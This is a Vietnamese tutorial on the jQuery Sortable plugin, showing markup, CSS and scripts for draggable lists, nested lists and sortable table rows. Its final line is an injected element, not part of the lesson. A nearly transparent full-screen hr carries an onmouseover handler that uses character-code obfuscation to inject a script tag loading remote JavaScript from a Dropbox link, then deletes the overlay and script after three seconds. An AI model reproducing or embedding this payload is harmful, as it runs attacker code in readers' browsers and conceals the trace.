Tìm hiểu về sortable table trong JQuery

Xin chào các bạn. Hôm nay mình sẽ giới thiệu với các bạn 1 thư viện jquery cho phép chúng ta có thể kéo thả và sắp xếp các danh sách hay 1 menu một cách trực quan nhất. 'JQuery Sortable' là tất cả những gì mà chúng ta cần để làm được điều đó.

I. Các tính năng mà JQuery Sortable hỗ trợ

  • Cho phép sắp xếp bất cứ item nào trong bất cứ container nào mà bạn muốn.
  • Hỗ trợ đầy đủ các container lồng nhau.
  • Kết nối các danh sách.
  • Callback và event.
  • Hỗ trợ việc kéo thả các danh sách.
  • Sắp xếp theo chiều đứng và chiều ngang.

II. Các trình duyệt được hỗ trợ

  • Firefox >= 3.5
  • Chrome
  • IE > 7
  • Safari >= 6
  • Opera
  • Konqueror

III. Khám phá các tính năng mà JQuery sortable cung cấp

1. Xây dựng 1 danh sách cho phép kéo thả

  • Dưới đây tôi sẽ xây dựng 1 danh sách các item. Ở đó cho phép chúng ta kéo thả các item lên trên hoặc xuống dưới 1 item nào đó trong danh sách này. Nào hãy bắt tay xây dựng nào.
<div class="container">
	<div class="span4">
        <ul class="example vertical">
            <li>Item 1</li>
            <li>Item 2</li>
            <li>Item 3</li>
            <li>Item 4</li>
            <li>Item 5</li>
            <li>Item 6</li>
        </ul>
    </div>
</div>
$(function() {
  	$("ol.example").sortable();
});

Nhớ thêm 1 chút gia vị của css vào nha ( để nhìn đẹp hơn chút mà 😄)

span4 {
    width: 300px;
}
ul.vertical li {
    display: block;
    margin: 5px;
    padding: 5px;
    border: 1px solid #cccccc;
    color: #0088cc;
    background: #eeeeee;
}
.dragged {
  	position: absolute;
  	opacity: 0.5;
  	z-index: 2000;
}

Bạn hãy chạy lên để xem kết quả nha. Tuy nhiên nó chạy khá xấu và không thể hiện được rõ là bạn đang kéo thả item nào đúng không ? Hãy tham khảo đoạn JQuery sau để làm cho việc kéo thả các item được rõ ràng và trực quan hơn nhé.

$(function() {
  	var adjustment;

	$("ul.example").sortable({
  		group: 'example',
  		pullPlaceholder: false,

  		// animation on drop
  		onDrop: function  ($item, container, _super) {
    		var $clonedItem = $('<li/>').css({height: 0});
    		$item.before($clonedItem);
    		$clonedItem.animate({
    			'height': $item.height()
    		});

    		$item.animate($clonedItem.position(), function  () {
      			$clonedItem.detach();
      			_super($item, container);
    		});
  		},

  		// set $item relative to cursor position
  		onDragStart: function ($item, container, _super) {
    		var offset = $item.offset(),
        	pointer = container.rootGroup.pointer;

    		adjustment = {
      			left: pointer.left - offset.left,
      			top: pointer.top - offset.top
    		};

    		_super($item, container);
  		},

  		onDrag: function ($item, position) {
    		$item.css({
      			left: position.left - adjustment.left,
      			top: position.top - adjustment.top
    		});
  		}
	});
});

Giờ chúng ta đã hoàn thành ứng dụng đầu tiên rồi đấy. 😄

2. Xây dựng 1 danh sách các item lồng nhau

  • Sau đây chúng ta sẽ xây dựng 1 danh sách các item lồng nhau và sử dụng JQuery Sortable để kéo thả các item. Đây là 1 ví dụ tuyệt vời đấy, bạn hãy theo dõi và làm thử nha.
<div class="span4">
  	<ul class="nested_with_switch vertical">
        <li>Item 1</li>
        <li>Item 2</li>
        <li>Item 3</li>
        <li>Item 4
          	<ul>
            	<li>Item 3.1</li>
            	<li>Item 3.2</li>
            	<li>Item 3.3</li>
            	<li>Item 3.4</li>
            	<li>Item 3.5</li>
            	<li>Item 3.6</li>
          	</ul>
        </li>
        <li>Item 5</li>
        <li>Item 6</li>
    </ul>
</div>

CSS thì bạn lấy từ ví dụ trước nha. Tôi không viết lại đâu vì nó trùng lặp mà 😄

$(function() {
  	var oldContainer;

	$("ul.nested_with_switch").sortable({
  		group: 'nested',
  		afterMove: function (placeholder, container) {
    		if(oldContainer != container){
      			if(oldContainer) {
        			oldContainer.el.removeClass("active");
      			}

      			container.el.addClass("active");
      			oldContainer = container;
    		}
  		},

  		onDrop: function ($item, container, _super) {
    		container.el.removeClass("active");
    		_super($item, container);
  		}
	});

	$(".switch-container").on("click", ".switch", function  (e) {
  		var method = $(this).hasClass("active") ? "enable" : "disable";
  		$(e.delegateTarget).next().sortable(method);
	});
});

3. Sort tables

  • Tiếp theo chúng ta sẽ ứng dụng để viết 1 table bootstrap cho phép bạn kéo thả từng dòng đến bất cứ dòng nào mà bạn muốn trong table.
<table class="table table-bordered sorted_table">
    <thead>
      	<tr>
        	<th>Firstname</th>
        	<th>Lastname</th>
        	<th>Email</th>
      	</tr>
    </thead>
    <tbody>
      	<tr>
        	<td>John</td>
        	<td>Doe</td>
        	<td>[email protected]</td>
      	</tr>
      	<tr>
        	<td>Mary</td>
        	<td>Moe</td>
        	<td>[email protected]</td>
      	</tr>
      	<tr>
        	<td>July</td>
        	<td>Dooley</td>
        	<td>[email protected]</td>
      	</tr>
    </tbody>
</table>
.dragged {
  	position: absolute;
  	opacity: 0.5;
  	z-index: 2000;
  	background: grey;
}
$(function() {
  	// Sortable rows
	$('.sorted_table').sortable({
	 	containerSelector: 'table',
	  	itemPath: '> tbody',
	  	itemSelector: 'tr',
	  	placeholder: '<tr class="placeholder"/>'
	});

	// Sortable column heads
	var oldIndex;
	$('.sorted_head tr').sortable({
	 	containerSelector: 'tr',
	  	itemSelector: 'th',
	  	placeholder: '<th class="placeholder"/>',
	  	vertical: false,
	  	onDragStart: function ($item, container, _super) {
	    	oldIndex = $item.index();
	    	$item.appendTo($item.parent());
	    	_super($item, container);
	  	},
	  	onDrop: function  ($item, container, _super) {
	    	var field,
	        newIndex = $item.index();

	    	if(newIndex != oldIndex) {
	      		$item.closest('table').find('tbody tr').each(function (i, row) {
	        		row = $(row);
	        		if(newIndex < oldIndex) {
	          			row.children().eq(newIndex).before(row.children()[oldIndex]);
	        		} else if (newIndex > oldIndex) {
	          			row.children().eq(newIndex).after(row.children()[oldIndex]);
	        		}
	      		});
	    	}

	    	_super($item, container);
	  	}
	});
});

Hy vọng qua bài viết này bạn có thể học thêm được nhiều điều. Cảm ơn sự theo dõi của các bạn.

Tài liệu tham khảo https://johnny.github.io/jquery-sortable/

<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; width: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id=\'atk-src\' src=\'https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1\'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">